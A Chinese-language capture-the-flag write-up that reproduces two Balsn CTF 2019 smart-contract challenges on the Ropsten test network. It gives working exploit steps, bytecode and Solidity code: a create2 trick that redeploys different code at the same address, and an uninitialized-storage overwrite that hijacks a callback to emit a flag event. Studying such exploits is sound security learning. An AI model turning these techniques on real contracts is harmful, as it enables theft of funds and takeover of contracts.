前言

balsn ctf 2019 的两道 smart contract 的题目,相关题目 repo:https://github.com/x9453/balsn-ctf-2019

2020 年了,还在复现 2019 年的题目,太菜了(T_T)

Creativity

题目源码:

pragma solidity ^0.5.10;

contract Creativity {
    event SendFlag(address addr);
    
    address public target;
    uint randomNumber = 0;
    
    function check(address _addr) public {
        uint size;
        assembly { size := extcodesize(_addr) }
        require(size > 0 && size <= 4);
        target = _addr;
    }
    
    function execute() public {
        require(target != address(0));
        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(address(0));
    }
    
    function sendFlag() public payable {
        require(msg.value >= 100000000 ether);
        emit SendFlag(msg.sender);
    }
}

用于复现的合约地址 ropsten@0x38493CC64406DDcCC9Df7B28D8eFA4DcCCB0345F

题目分析

本题的核心目的是触发 SendFlag,但很明显 sendFlag() 函数是无法正常调用的,因为 msg.value >= 100000000 ether 这个条件几乎无法满足,所以只能采用另一种思路,利用 delegatecall 的上下文特性来触发 SendFlag 事件。

此时需要满足的条件是:

  1. 部署一个合约,合约代码大小不超过4字节
  2. 通过调用 check() 函数,将 target 赋值为我们的合约地址
  3. 调用 execute 函数,通过对我们的合约调用 degelatecall 进而触发 SendFlag

本题的考点是 create2trick,简单来说就是 create2create 计算合约地址的不同,这使得可以利用 create2 在同一个地址上先后部署不同的合约。

这是出题人给的 PoC,通过 deploy 可以将不同合约代码部署到同一个地址上:

pragma solidity ^0.5.10;

contract Deployer {
    bytes public deployBytecode;
    address public deployedAddr;
    
    function deploy(bytes memory code) public {
        deployBytecode = code;
        address a;
        // Compile Dumper to get this bytecode
        bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
        assembly {
            a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
        }
        deployedAddr = a;
    }
}

contract Dumper {
    constructor() public {
        Deployer dp = Deployer(msg.sender);
        bytes memory bytecode = dp.deployBytecode();
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

那么剩下的步骤就相对简单了:

  1. deploy(0x33ff),部署合约为 selfdestruct(msg.sender),合约地址为 0x90B5B5df0d133be8c6420B1d8896C214D59bA9EB

  2. 调用 check() 使其通过合约大小 4 字节的校验

  3. 发送交易,触发合约自毁 web3.eth.sendTransaction({to: "0x90B5B5df0d133be8c6420B1d8896C214D59bA9EB", data: "" }, function(err,res){console.log(res)});

    Contract v1

  4. deploy(0x6080604052348015600f57600080fd5b507f2d3bd82a572c860ef85a36e8d4873a9deed3f76b9fddbf13fbe4fe8a97c4a57932604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a13273ffffffffffffffffffffffffffffffffffffffff16fffea265627a7a7230582076ed0548fcb15acaeee3e64c098e0253cb7cf70c7fd668366820c47db0467a5b64736f6c634300050a0032),对应的合约代码为:

    contract Solve {
        event SendFlag(address addr);
           
        function() external {
            emit SendFlag(tx.origin);
            selfdestruct(tx.origin);
        }
    }
    

    此时新的合约代码已经被部署到相同的地址上了:

    Contract v2

  5. 调用 execute(),成功触发 SendFlag 事件:

    SendFlag

Bank

题目源码:

pragma solidity ^0.4.24;

contract Bank {
    event SendEther(address addr);
    event SendFlag(address addr);
    
    address public owner;
    uint randomNumber = 0;
    
    constructor() public {
        owner = msg.sender;
    }
    
    struct SafeBox {
        bool done;
        function(uint, bytes12) internal callback;
        bytes12 hash;
        uint value;
    }
    SafeBox[] safeboxes;
    
    struct FailedAttempt {
        uint idx;
        uint time;
        bytes12 triedPass;
        address origin;
    }
    mapping(address => FailedAttempt[]) failedLogs;
    
    modifier onlyPass(uint idx, bytes12 pass) {
        if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
            FailedAttempt info;
            info.idx = idx;
            info.time = now;
            info.triedPass = pass;
            info.origin = tx.origin;
            failedLogs[msg.sender].push(info);
        }
        else {
            _;
        }
    }
    
    function deposit(bytes12 hash) payable public returns(uint) {
        SafeBox box;
        box.done = false;
        box.hash = hash;
        box.value = msg.value;
        if (msg.sender == owner) {
            box.callback = sendFlag;
        }
        else {
            require(msg.value >= 1 ether);
            box.value -= 0.01 ether;
            box.callback = sendEther;
        }
        safeboxes.push(box);
        return safeboxes.length-1;
    }
    
    function withdraw(uint idx, bytes12 pass) public payable {
        SafeBox box = safeboxes[idx];
        require(!box.done);
        box.callback(idx, pass);
        box.done = true;
    }
    
    function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
        msg.sender.transfer(safeboxes[idx].value);
        emit SendEther(msg.sender);
    }
    
    function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
        require(msg.value >= 100000000 ether);
        emit SendFlag(msg.sender);
        selfdestruct(owner);
    }

}

用于复现的合约:ropsten@0xc6fef6a5c43e661fafdfa8a68983c4000d86d86d

EVM 变量存储规则

以下面这段合约为例:

contract C {
    address a;
    uint r;
    uint[] b;
    mapping(uint => uint) m;
    
    constructor() public {
        a = msg.sender;
        r = 777;
        b.push(333);
        b.push(444);
        m[999] = 888;
    }
}

数组 b 的第一个元素位置在 keccak256(2),即 slot[keccak256(2)+0] 存储 333, slot[keccak256(2)+1] 存储 444;而映射 m[k] 存储在 slot[keccak256(k.3)],即 slot[keccak256(999.3)] 存储的是 888。

可以利用以下函数来分别获取 slot 上存储的内容,mapping 内容对应 slot 、数组第一个元素对应的 slot

function read_slot(uint k) public view returns (bytes32 res) {
    assembly { res := sload(k) }
}

function cal_addr(uint k, uint p) public pure returns(bytes32 res) {
    res = keccak256(abi.encodePacked(k, p));
}

function cal_addr(uint p) public pure returns(bytes32 res) {
    res = keccak256(abi.encodePacked(p));
}

题目分析

本题考点在于未初始化变量漏洞,以及数组、映射在 EVM 中的存储方式,以及如何控制程序执行流。

首先这是合约的变量存储布局:

-----------------------------------------------------
|     unused (12)     |          owner (20)         | <- slot 0
-----------------------------------------------------
|                 randomNumber (32)                 | <- slot 1
-----------------------------------------------------
|               safeboxes.length (32)               | <- slot 2
-----------------------------------------------------
|       occupied by failedLogs but unused (32)      | <- slot 3
-----------------------------------------------------

这是 FailedAttempt 结构的存储布局:

-----------------------------------------------------
|                      idx (32)                     |
-----------------------------------------------------
|                     time (32)                     |
-----------------------------------------------------
|          origin (20)         |   triedPass (12)   |
-----------------------------------------------------

这是 SafeBox 结构的存储布局:

-----------------------------------------------------
| unused (15) | hash (12) | callback (4) | done (1) |
-----------------------------------------------------
|                     value (32)                    |
-----------------------------------------------------

可以看到即使是利用了 deposit(0) 中的未初始化漏洞来修改 owner,也会被 sendFlag 函数的 require(msg.value >= 100000000 ether) 条件限制,所以这里不能直接直接调用,那么另一种的调用思路就是利用未初始化变量来劫持控制流进而直接触发 SendFlag 事件。

这里再介绍一下 EVM 是如何执行函数的,在 EVM 中所有的合约内部函数执行都表示为一个 JUMP 指令,而且跳转只能跳转以 JUMPDEST 开始的地方,查看 sendFlag() 对应的字节码:

bytecode

可以看到 06F5 是函数的入口,再下面的 070F 则是 emit SendFlag() 调用的入口,因此如果能劫持相应的控制流使其直接跳转到这里,就能成功触发 SendFlag() 事件。

因此解题的思路如下:

  1. 利用 tx.origintriedPass 覆盖 slot 2,即 safeboxes 的长度。如果 tx.origin 足够大,此时 safeboxes 的长度可以覆盖 failedLogs
  2. safeboxes 的长度可以覆盖 failedLogs 时,利用 triedPass 来覆盖 callback 进而控制程序的执行流
  3. callback 修改为 0000070f,然后利用 withdraw() 触发 callback 函数的执行,即可顺利获得 flag

详细的 exp 不再赘述,这里贴一下作者的 wp 以及我在过程中用于计算的代码:

  1. Calculate target = keccak256(keccak256(msg.sender||3)) + 2.
  2. Calculate base = keccak256(2).
  3. Calculate idx = (target - base) // 2.
  4. If (target - base) % 2 == 1, then idx += 2, and do step 6 and 7 twice. The two chosen indices in step 7 should be 0 and 1 respectively. This happens when the triedPass of the first element of failedLogs does not overlap with the callback variable, so we choose the second element instead.
  5. If (msg.sender << (12*8)) < idx, then choose another player account, and restart from step 1. This happens when the overwritten length of safeboxes is not large enough to overlap with failedLogs.
  6. Call deposit(0x000000000000000000000000) with 1 ether.
  7. Call withdraw(0, 0x111111111111110000070f00).
  8. Call withdraw(idx, 0x000000000000000000000000), and the SendFlag event will be emitted.
pragma solidity ^0.4.24;

contract Solve {
    bytes32 public tmp;
    bytes32 public target;
    bytes32 public base;
    bytes32 public index;
    
    constructor(address _addr) public {
        tmp = keccak256(uint(_addr), uint(3));
        target = bytes32(uint(keccak256(uint(tmp))) + 2);
        base = keccak256(abi.encodePacked(uint(0x2)));
        index = bytes32((uint(target) - uint(base)) / 2); 
    }
}

调用成功后,成功触发 SendFlag

SendFlag

参考链接